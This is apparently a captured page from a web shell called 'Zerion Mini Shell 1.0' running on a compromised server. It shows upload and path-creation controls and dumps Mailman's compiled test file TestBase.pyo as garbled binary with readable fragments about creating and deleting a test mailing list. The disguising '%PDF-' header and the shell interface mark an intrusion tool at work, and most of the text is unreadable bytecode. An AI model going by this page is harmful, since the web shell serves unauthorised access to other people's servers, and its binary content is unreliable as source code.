%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/mailman/tests/
Upload File :
Create Path :
Current File : //lib/mailman/tests/TestBase.pyo

�
�ac@s�dZddlZddlZddlZddlZddlmZddlmZddlm	Z	ddlm
Z
dZdejfd	��YZ
dS(
sATest base class which handles creating and deleting a test list.
i����N(tStringIO(tMailList(tUtils(tmm_cfgs
tTestBasecBsAeZeed�r!d�ZnejjZd�Zd�Z	RS(tndiffcCs}||kryt|�}t|�}tj|j�|j��}t�}|tItj|�IJ|j|j��ndS(s:Like failUnlessEqual except use ndiff for readable output.N(	tstrtdifflibRt
splitlinesRtNLtjointfailureExceptiontgetvalue(tselftfirsttsecondtsfirsttssecondtdifftfp((s\/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/TestBase.pytndiffAssertEqual%s	cCsHtj�}|jddd�d|_d|_|j�||_dS(Nt_xteststest@dom.aintxxxxxsdom.ainshttp://www.dom.ain/mailman/(RtCreatet	host_nametweb_page_urltSavet_mlist(R
tmlist((s\/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/TestBase.pytsetUp2s		
cCs�|jj�|jj�}x}dddddgD]f}tjjtj||�}tjj|�rvtj	|�q2tjj
|�r2tj|�q2q2WdS(Nslists/%ssarchives/private/%ssarchives/private/%s.mboxsarchives/public/%ssarchives/public/%s.mbox(
RtUnlockt
internal_nametostpathR
Rt
VAR_PREFIXtislinktunlinktisdirtshutiltrmtree(R
tlistnametdirtmpltdir((s\/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/TestBase.pyttearDown;s

(
t__name__t
__module__thasattrRRtunittesttTestCasetassertEqualRR+(((s\/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/TestBase.pyR"s
		(t__doc__R R&RR/t	cStringIORtMailmanRRRR	R0R(((s\/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/TestBase.pyt<module>s

Zerion Mini Shell 1.0